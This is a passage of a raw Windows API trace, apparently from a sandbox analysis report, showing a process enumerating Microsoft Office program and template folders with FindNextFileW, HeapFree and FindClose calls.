	[0083.021] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0083.022] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.022] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0083.023] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.023] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0083.024] FindClose (in: hFindFile=0x31216d0 | out: hFindFile=0x31216d0) returned 1
	[0083.024] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0083.024] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1
	[0083.052] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0083.052] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1
	[0083.055] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0083.055] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1
	[0083.059] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0083.059] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1
	[0083.450] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.450] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0083.451] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.451] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0083.454] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.454] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1
	[0083.455] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0083.456] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1
	[0083.458] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0083.459] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1
	[0083.487] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.487] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1
	[0083.487] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.487] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1
	[0083.489] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.489] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1
	[0083.491] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0083.491] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1
	[0084.418] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0084.418] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0084.418] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0084.418] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0084.418] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1
	[0084.419] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0084.420] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1
	[0084.420] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03980 | out: hHeap=0x500000) returned 1
	[0084.424] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1
	[0084.438] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0084.438] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0084.443] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0084.443] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0084.443] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0084.443] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0084.443] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0084.450] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0084.450] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1
	[0084.452] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0084.452] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0
	[0084.452] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0084.453] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0084.453] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1
	[0084.461] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0084.461] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1
	[0084.464] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0084.464] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0084.465] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0084.465] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0
	[0084.465] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0084.465] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0084.465] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0084.465] FindClose (in: hFindFile=0x31218d0 | out: hFindFile=0x31218d0) returned 1
	[0084.465] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0084.467] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1
	[0084.468] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0084.468] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1
	[0085.086] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0085.088] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0
	[0085.089] FindClose (in: hFindFile=0x3121190 | out: hFindFile=0x3121190) returned 1
	[0085.094] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0085.094] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1
	[0085.096] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0085.096] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1
	[0085.096] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0085.096] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
	[0085.096] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0085.096] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0
	[0085.096] FindClose (in: hFindFile=0x31218d0 | out: hFindFile=0x31218d0) returned 1
	[0085.101] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
